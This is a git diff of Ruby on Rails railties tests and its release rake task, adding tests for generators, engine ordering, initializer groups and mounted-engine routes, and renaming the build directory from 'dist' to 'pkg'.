- end
-
- def test_turn_gem_is_not_included_in_gemfile_if_skipping_test_unit
- run_generator [destination_root, "--skip-test-unit"]
- assert_file "Gemfile" do |contents|
- assert_no_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2'
- end
- end
-
def test_inclusion_of_ruby_debug
run_generator
assert_file "Gemfile" do |contents|
@@ -314,6 +327,15 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
end
+ def test_generated_environments_file_for_sanitizer
+ run_generator [destination_root, "--skip-active-record"]
+ ["config/environments/development.rb", "config/environments/test.rb"].each do |env_file|
+ assert_file env_file do |file|
+ assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file)
+ end
+ end
+ end
+
protected
def action(*args, &block)
diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb
index 044e0b6bc6..d6338bd3da 100644
--- a/railties/test/generators/assets_generator_test.rb
+++ b/railties/test/generators/assets_generator_test.rb
@@ -13,7 +13,7 @@ class AssetsGeneratorTest < Rails::Generators::TestCase
end
def test_skipping_assets
- content = run_generator ["posts", "--no-stylesheets", "--no-javascripts"]
+ run_generator ["posts", "--no-stylesheets", "--no-javascripts"]
assert_no_file "app/assets/javascripts/posts.js"
assert_no_file "app/assets/stylesheets/posts.css"
end
diff --git a/railties/test/generators/orm_test.rb b/railties/test/generators/orm_test.rb
new file mode 100644
index 0000000000..9dd3d3e0ec
--- /dev/null
+++ b/railties/test/generators/orm_test.rb
@@ -0,0 +1,38 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
+
+# Mock out two ORMs
+module ORMWithGenerators
+ module Generators
+ class ActiveModel
+ def initialize(name)
+ end
+ end
+ end
+end
+
+module ORMWithoutGenerators
+ # No generators
+end
+
+class OrmTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ tests Rails::Generators::ScaffoldControllerGenerator
+
+ def test_orm_class_returns_custom_generator_if_supported_custom_orm_set
+ g = generator ["Foo"], :orm => "ORMWithGenerators"
+ assert_equal ORMWithGenerators::Generators::ActiveModel, g.send(:orm_class)
+ end
+
+ def test_orm_class_returns_rails_generator_if_unsupported_custom_orm_set
+ g = generator ["Foo"], :orm => "ORMWithoutGenerators"
+ assert_equal Rails::Generators::ActiveModel, g.send(:orm_class)
+ end
+
+ def test_orm_instance_returns_orm_class_instance_with_name
+ g = generator ["Foo"]
+ orm_instance = g.send(:orm_instance)
+ assert g.send(:orm_class) === orm_instance
+ assert_equal "foo", orm_instance.name
+ end
+end
diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb
index 0ccb2ae9da..826eac904e 100644
--- a/railties/test/generators/plugin_new_generator_test.rb
+++ b/railties/test/generators/plugin_new_generator_test.rb
@@ -7,11 +7,13 @@ DEFAULT_PLUGIN_FILES = %w(
.gitignore
Gemfile
Rakefile
+ README.rdoc
bukkits.gemspec
MIT-LICENSE
lib
lib/bukkits.rb
lib/tasks/bukkits_tasks.rake
+ lib/bukkits/version.rb
test/bukkits_test.rb
test/test_helper.rb
test/dummy
@@ -25,10 +27,6 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
# brings setup, teardown, and some tests
include SharedGeneratorTests
- def default_files
- ::DEFAULT_PLUGIN_FILES
- end
-
def test_invalid_plugin_name_raises_an_error
content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] }
assert_equal "Invalid plugin name 43-things. Please give a name which does not start with numbers.\n", content
@@ -39,6 +37,12 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_file "things-43/lib/things-43.rb", /module Things43/
end
+ def test_camelcase_plugin_name_underscores_filenames
+ run_generator [File.join(destination_root, "CamelCasedName")]
+ assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
+ assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
+ end
+
def test_generating_without_options
run_generator
assert_file "README.rdoc", /Bukkits/
@@ -69,13 +73,13 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode
run_generator([destination_root, "--full"])
assert_file "test/dummy/config/database.yml", /sqlite/
- assert_file "Gemfile", /^gem\s+["']sqlite3["']$/
+ assert_file "bukkits.gemspec", /sqlite3/
end
def test_config_another_database
run_generator([destination_root, "-d", "mysql", "--full"])
assert_file "test/dummy/config/database.yml", /mysql/
- assert_file "Gemfile", /^gem\s+["']mysql2["']$/
+ assert_file "bukkits.gemspec", /mysql/
end
def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
@@ -117,8 +121,8 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_match %r{^//= require jquery}, contents
assert_match %r{^//= require jquery_ujs}, contents
end
- assert_file 'Gemfile' do |contents|
- assert_match(/^gem 'jquery-rails'/, contents)
+ assert_file 'bukkits.gemspec' do |contents|
+ assert_match(/jquery-rails/, contents)
end
end
@@ -128,8 +132,8 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_match %r{^//= require prototype}, contents
assert_match %r{^//= require prototype_ujs}, contents
end
- assert_file 'Gemfile' do |contents|
- assert_match(/^gem 'prototype-rails'/, contents)
+ assert_file 'bukkits.gemspec' do |contents|
+ assert_match(/prototype-rails/, contents)
end
end
@@ -176,6 +180,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_file "app/controllers"
assert_file "app/views"
assert_file "app/helpers"
+ assert_file "app/mailers"
assert_file "config/routes.rb", /Rails.application.routes.draw do/
assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < ::Rails::Engine\n end\nend/
assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
@@ -198,17 +203,17 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/
assert_file "app/views/layouts/bukkits/application.html.erb" do |contents|
assert_match "<title>Bukkits</title>", contents
- assert_match /stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents
- assert_match /javascript_include_tag\s+['"]bukkits\/application['"]/, contents
+ assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
+ assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
end
end
def test_creating_gemspec
run_generator
- assert_file "bukkits.gemspec", /s.name = "bukkits"/
+ assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*"\]/
assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/
- assert_file "bukkits.gemspec", /s.version = "0.0.1"/
+ assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
end
def test_usage_of_engine_commands
@@ -237,12 +242,20 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
assert_file "spec/dummy/config/application.rb"
assert_no_file "test"
end
+
+ def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
+ FileUtils.cd(Rails.root)
+ run_generator([destination_root, "--dummy_path", "spec/dummy" "--skip-test-unit"])
+ assert_file ".gitignore" do |contents|
+ assert_match(/spec\/dummy/, contents)
+ end
+ end
def test_skipping_test_unit
run_generator [destination_root, "--skip-test-unit"]
assert_no_file "test"
assert_file "bukkits.gemspec" do |contents|
- assert_no_match /s.test_files = Dir\["test\/\*\*\/\*"\]/, contents
+ assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents)
end
end
@@ -257,6 +270,10 @@ protected
silence(:stdout){ generator.send(*args, &block) }
end
+protected
+ def default_files
+ ::DEFAULT_PLUGIN_FILES
+ end
end
class CustomPluginGeneratorTest < Rails::Generators::TestCase
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index d3074afd91..1534f0d828 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -191,11 +191,11 @@ module SharedCustomGeneratorTests
end
def test_builder_option_with_http
- path = "http://gist.github.com/103208.txt"
+ url = "http://gist.github.com/103208.txt"
template = "class #{builder_class}; end"
template.instance_eval "def read; self; end" # Make the string respond to read
- generator([destination_root], :builder => path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
+ generator([destination_root], :builder => url).expects(:open).with(url, 'Accept' => 'application/x-thor-template').returns(template)
quietly { generator.invoke_all }
default_files.each{ |path| assert_no_file(path) }
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 56329f3183..5f9ee220dc 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -201,4 +201,10 @@ class GeneratorsTest < Rails::Generators::TestCase
mspec = Rails::Generators.find_by_namespace :fixjour
assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "fixjour"))
end
+
+ def test_usage_with_embedded_ruby
+ require File.expand_path("fixtures/lib/generators/usage_template/usage_template_generator", File.dirname(__FILE__))
+ output = capture(:stdout) { Rails::Generators.invoke :usage_template, ['--help'] }
+ assert_match /:: 2 ::/, output
+ end
end
diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb
index 72c35879c5..c84c7f204c 100644
--- a/railties/test/initializable_test.rb
+++ b/railties/test/initializable_test.rb
@@ -61,7 +61,7 @@ module InitializableTests
class Instance
include Rails::Initializable
- initializer :one do
+ initializer :one, :group => :assets do
$arr << 1
end
@@ -69,7 +69,7 @@ module InitializableTests
$arr << 2
end
- initializer :three do
+ initializer :three, :group => :all do
$arr << 3
end
@@ -209,14 +209,21 @@ module InitializableTests
$arr = []
instance = Instance.new
instance.run_initializers
- assert_equal [1, 2, 3, 4], $arr
+ assert_equal [2, 3, 4], $arr
+ end
+
+ test "running locals with groups" do
+ $arr = []
+ instance = Instance.new
+ instance.run_initializers(:assets)
+ assert_equal [1, 3], $arr
end
end
class WithArgsTest < ActiveSupport::TestCase
test "running initializers with args" do
$with_arg = nil
- WithArgs.new.run_initializers('foo')
+ WithArgs.new.run_initializers(:default, 'foo')
assert_equal 'foo', $with_arg
end
end
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 685d1b154b..06b658e7bd 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -224,6 +224,15 @@ module TestHelpers
end
end
+ def add_to_env_config(env, str)
+ environment = File.read("#{app_path}/config/environments/#{env}.rb")
+ if environment =~ /(\n\s*end\s*)\Z/
+ File.open("#{app_path}/config/environments/#{env}.rb", 'w') do |f|
+ f.puts $` + "\n#{str}\n" + $1
+ end
+ end
+ end
+
def remove_from_config(str)
file = "#{app_path}/config/application.rb"
contents = File.read(file)
@@ -282,7 +291,7 @@ Module.new do
require_environment = "-r #{environment}"
end
- `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/bin/rails new #{tmp_path('app_template')}`
+ `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{tmp_path('app_template')}`
File.open("#{tmp_path}/app_template/config/boot.rb", 'w') do |f|
if require_environment
f.puts "Dir.chdir('#{File.dirname(environment)}') do"
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index 0ff1e0f180..400cae98b2 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -323,7 +323,7 @@ module RailtiesTest
assert_equal "bukkits_", Bukkits.table_name_prefix
assert_equal "bukkits", Bukkits::Engine.engine_name
- assert_equal Bukkits._railtie, Bukkits::Engine
+ assert_equal Bukkits.railtie_namespace, Bukkits::Engine
assert ::Bukkits::MyMailer.method_defined?(:foo_path)
assert !::Bukkits::MyMailer.method_defined?(:bar_path)
@@ -400,7 +400,7 @@ module RailtiesTest
boot_rails
get("/bukkits/posts/new")
- assert_match /name="post\[title\]"/, last_response.body
+ assert_match(/name="post\[title\]"/, last_response.body)
end
test "isolated engine should set correct route module prefix for nested namespace" do
@@ -455,13 +455,19 @@ module RailtiesTest
Rails.application.load_seed
assert Rails.application.config.app_seeds_loaded
- assert_raise(NoMethodError) do Bukkits::Engine.config.bukkits_seeds_loaded end
+ assert_raise(NoMethodError) { Bukkits::Engine.config.bukkits_seeds_loaded }
Bukkits::Engine.load_seed
assert Bukkits::Engine.config.bukkits_seeds_loaded
end
- test "using namespace more than once on one module should not overwrite _railtie method" do
+ test "skips nonexistent seed data" do
+ FileUtils.rm "#{app_path}/db/seeds.rb"
+ boot_rails
+ assert_nil Rails.application.load_seed
+ end
+
+ test "using namespace more than once on one module should not overwrite railtie_namespace method" do
@plugin.write "lib/bukkits.rb", <<-RUBY
module AppTemplate
class Engine < ::Rails::Engine
@@ -478,7 +484,7 @@ module RailtiesTest
boot_rails
- assert_equal AppTemplate._railtie, AppTemplate::Engine
+ assert_equal AppTemplate.railtie_namespace, AppTemplate::Engine
end
test "properly reload routes" do
@@ -661,6 +667,132 @@ module RailtiesTest
assert_equal expected, methods
end
+ test "setting priority for engines with config.railties_order" do
+ @blog = engine "blog" do |plugin|
+ plugin.write "lib/blog.rb", <<-RUBY
+ module Blog
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+ end
+
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ controller "main", <<-RUBY
+ class MainController < ActionController::Base
+ def foo
+ render :inline => '<%= render :partial => "shared/foo" %>'
+ end
+
+ def bar
+ render :inline => '<%= render :partial => "shared/bar" %>'
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ match "/foo" => "main#foo"
+ match "/bar" => "main#bar"
+ end
+ RUBY
+
+ @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+ Bukkit's foo partial
+ RUBY
+
+ app_file "app/views/shared/_foo.html.erb", <<-RUBY
+ App's foo partial
+ RUBY
+
+ @blog.write "app/views/shared/_bar.html.erb", <<-RUBY
+ Blog's bar partial
+ RUBY
+
+ app_file "app/views/shared/_bar.html.erb", <<-RUBY
+ App's bar partial
+ RUBY
+
+ @plugin.write "app/assets/javascripts/foo.js", <<-RUBY
+ // Bukkit's foo js
+ RUBY
+
+ app_file "app/assets/javascripts/foo.js", <<-RUBY
+ // App's foo js
+ RUBY
+
+ @blog.write "app/assets/javascripts/bar.js", <<-RUBY
+ // Blog's bar js
+ RUBY
+
+ app_file "app/assets/javascripts/bar.js", <<-RUBY
+ // App's bar js
+ RUBY
+
+ add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]")
+
+ boot_rails
+ require "#{rails_root}/config/environment"
+
+ get("/foo")
+ assert_equal "Bukkit's foo partial", last_response.body.strip
+
+ get("/bar")
+ assert_equal "App's bar partial", last_response.body.strip
+
+ get("/assets/foo.js")
+ assert_equal "// Bukkit's foo js\n;", last_response.body.strip
+
+ get("/assets/bar.js")
+ assert_equal "// App's bar js\n;", last_response.body.strip
+ end
+
+ test "railties_order adds :all with lowest priority if not given" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+
+ controller "main", <<-RUBY
+ class MainController < ActionController::Base
+ def foo
+ render :inline => '<%= render :partial => "shared/foo" %>'
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ match "/foo" => "main#foo"
+ end
+ RUBY
+
+ @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+ Bukkit's foo partial
+ RUBY
+
+ app_file "app/views/shared/_foo.html.erb", <<-RUBY
+ App's foo partial
+ RUBY
+
+ add_to_config("config.railties_order = [Bukkits::Engine]")
+
+ boot_rails
+ require "#{rails_root}/config/environment"
+
+ get("/foo")
+ assert_equal "Bukkit's foo partial", last_response.body.strip
+ end
+
private
def app
Rails.application
diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb
index 1d4ba0e5b6..f8540d69d9 100644
--- a/railties/test/railties/generators_test.rb
+++ b/railties/test/railties/generators_test.rb
@@ -28,7 +28,7 @@ module RailtiesTests
if File.exist?("#{environment}.rb")
require_environment = "-r #{environment}"
end
- `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/bin/rails #{cmd}`
+ `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails #{cmd}`
end
def build_engine(is_mountable=false)
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
index 94dec405a7..0491fc2174 100644
--- a/railties/test/railties/mounted_engine_test.rb
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -11,13 +11,17 @@ module ApplicationTests
add_to_config("config.action_dispatch.show_exceptions = false")
+ @simple_plugin = engine "weblog"
@plugin = engine "blog"
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
+ mount Weblog::Engine, :at => '/', :as => 'weblog'
resources :posts
match "/engine_route" => "application_generating#engine_route"
match "/engine_route_in_view" => "application_generating#engine_route_in_view"
+ match "/weblog_engine_route" => "application_generating#weblog_engine_route"
+ match "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view"
match "/url_for_engine_route" => "application_generating#url_for_engine_route"
match "/polymorphic_route" => "application_generating#polymorphic_route"
match "/application_polymorphic_path" => "application_generating#application_polymorphic_path"
@@ -28,6 +32,29 @@ module ApplicationTests
end
RUBY
+
+ @simple_plugin.write "lib/weblog.rb", <<-RUBY
+ module Weblog
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+
+ @simple_plugin.write "config/routes.rb", <<-RUBY
+ Weblog::Engine.routes.draw do
+ match '/weblog' => "weblogs#index", :as => 'weblogs'
+ end
+ RUBY
+
+ @simple_plugin.write "app/controllers/weblogs_controller.rb", <<-RUBY
+ class WeblogsController < ActionController::Base
+ def index
+ render :text => request.url
+ end
+ end
+ RUBY
+
+
@plugin.write "app/models/blog/post.rb", <<-RUBY
module Blog
class Post
@@ -100,6 +127,14 @@ module ApplicationTests
render :inline => "<%= blog.posts_path %>"
end
+ def weblog_engine_route
+ render :text => weblog.weblogs_path
+ end
+
+ def weblog_engine_route_in_view
+ render :inline => "<%= weblog.weblogs_path %>"
+ end
+
def url_for_engine_route
render :text => blog.url_for(:controller => "blog/posts", :action => "index", :user => "john", :only_path => true)
end
@@ -192,5 +227,13 @@ module ApplicationTests
get "/application_polymorphic_path"
assert_equal "/posts/44", last_response.body
end
+
+ test "route path for controller action when engine is mounted at root" do
+ get "/weblog_engine_route"
+ assert_equal "/weblog", last_response.body
+
+ get "/weblog_engine_route_in_view"
+ assert_equal "/weblog", last_response.body
+ end
end
end
diff --git a/railties/test/railties/shared_tests.rb b/railties/test/railties/shared_tests.rb
index 9a64b7c64e..7653e52d26 100644
--- a/railties/test/railties/shared_tests.rb
+++ b/railties/test/railties/shared_tests.rb
@@ -21,6 +21,23 @@ module RailtiesTest
assert_match "alert()", last_response.body
end
+ def test_rake_environment_can_be_called_in_the_engine_or_plugin
+ boot_rails
+
+ @plugin.write "Rakefile", <<-RUBY
+ APP_RAKEFILE = '#{app_path}/Rakefile'
+ load 'rails/tasks/engine.rake'
+ task :foo => :environment do
+ puts "Task ran"
+ end
+ RUBY
+
+ Dir.chdir(@plugin.path) do
+ output = `bundle exec rake foo`
+ assert_match "Task ran", output
+ end
+ end
+
def test_copying_migrations
@plugin.write "db/migrate/1_create_users.rb", <<-RUBY
class CreateUsers < ActiveRecord::Migration
@@ -61,21 +78,21 @@ module RailtiesTest
assert File.exists?("#{app_path}/db/migrate/2_create_users.rb")
assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.rb")
- assert_match /Copied migration 2_create_users.rb from bukkits/, output
- assert_match /Copied migration 3_add_last_name_to_users.rb from bukkits/, output
- assert_match /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output
+ assert_match(/Copied migration 2_create_users.rb from bukkits/, output)
+ assert_match(/Copied migration 3_add_last_name_to_users.rb from bukkits/, output)
+ assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length
output = `bundle exec rake railties:install:migrations`.split("\n")
assert File.exists?("#{app_path}/db/migrate/4_create_yaffles.rb")
- assert_no_match /2_create_users/, output.join("\n")
+ assert_no_match(/2_create_users/, output.join("\n"))
yaffle_migration_order = output.index(output.detect{|o| /Copied migration 4_create_yaffles.rb from acts_as_yaffle/ =~ o })
bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o })
assert_not_nil yaffle_migration_order, "Expected migration to be copied"
assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
- assert_equal (railties.index('acts_as_yaffle') > railties.index('bukkits')) , (yaffle_migration_order > bukkits_migration_order)
+ assert_equal(railties.index('acts_as_yaffle') > railties.index('bukkits'), yaffle_migration_order > bukkits_migration_order)
migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
output = `bundle exec rake railties:install:migrations`
diff --git a/tasks/release.rb b/tasks/release.rb
index 01950b227d..191c014f9f 100644
--- a/tasks/release.rb
+++ b/tasks/release.rb
@@ -4,11 +4,11 @@ root = File.expand_path('../../', __FILE__)
version = File.read("#{root}/RAILS_VERSION").strip
tag = "v#{version}"
-directory "dist"
+directory "pkg"
(FRAMEWORKS + ['rails']).each do |framework|
namespace framework do
- gem = "dist/#{framework}-#{version}.gem"
+ gem = "pkg/#{framework}-#{version}.gem"
gemspec = "#{framework}.gemspec"
task :clean do
@@ -26,25 +26,25 @@ directory "dist"
major, minor, tiny, pre = version.split('.')
pre = pre ? pre.inspect : "nil"
- ruby.gsub! /^(\s*)MAJOR = .*?$/, "\\1MAJOR = #{major}"
+ ruby.gsub!(/^(\s*)MAJOR = .*?$/, "\\1MAJOR = #{major}")
raise "Could not insert MAJOR in #{file}" unless $1
- ruby.gsub! /^(\s*)MINOR = .*?$/, "\\1MINOR = #{minor}"
+ ruby.gsub!(/^(\s*)MINOR = .*?$/, "\\1MINOR = #{minor}")
raise "Could not insert MINOR in #{file}" unless $1
- ruby.gsub! /^(\s*)TINY = .*?$/, "\\1TINY = #{tiny}"
+ ruby.gsub!(/^(\s*)TINY = .*?$/, "\\1TINY = #{tiny}")
raise "Could not insert TINY in #{file}" unless $1
- ruby.gsub! /^(\s*)PRE = .*?$/, "\\1PRE = #{pre}"
+ ruby.gsub!(/^(\s*)PRE = .*?$/, "\\1PRE = #{pre}")
raise "Could not insert PRE in #{file}" unless $1
File.open(file, 'w') { |f| f.write ruby }
end
- task gem => %w(update_version_rb dist) do
+ task gem => %w(update_version_rb pkg) do
cmd = ""
cmd << "cd #{framework} && " unless framework == "rails"
- cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/dist/"
+ cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/"
sh cmd
end
@@ -66,7 +66,7 @@ namespace :changelog do
FRAMEWORKS.each do |fw|
require 'date'
replace = '\1(' + Date.today.strftime('%B %d, %Y') + ')'
- fname = File.join fw, 'CHANGELOG'
+ fname = File.join fw, 'CHANGELOG.md'
contents = File.read(fname).sub(/^([^(]*)\(unreleased\)/, replace)
File.open(fname, 'wb') { |f| f.write contents }
@@ -76,7 +76,7 @@ namespace :changelog do
task :release_summary do
FRAMEWORKS.each do |fw|
puts "## #{fw}"
- fname = File.join fw, 'CHANGELOG'
+ fname = File.join fw, 'CHANGELOG.md'
contents = File.readlines fname
contents.shift
changes = []
@@ -104,18 +104,19 @@ namespace :all do
end
task :commit do
- File.open('dist/commit_message.txt', 'w') do |f|
+ File.open('pkg/commit_message.txt', 'w') do |f|
f.puts "# Preparing for #{version} release\n"
f.puts
f.puts "# UNCOMMENT THE LINE ABOVE TO APPROVE THIS COMMIT"
end
- sh "git add . && git commit --verbose --template=dist/commit_message.txt"
- rm_f "dist/commit_message.txt"
+ sh "git add . && git commit --verbose --template=pkg/commit_message.txt"
+ rm_f "pkg/commit_message.txt"
end
task :tag do
sh "git tag #{tag}"
+ sh "git push --tags"
end
task :release => %w(ensure_clean_state build commit tag push)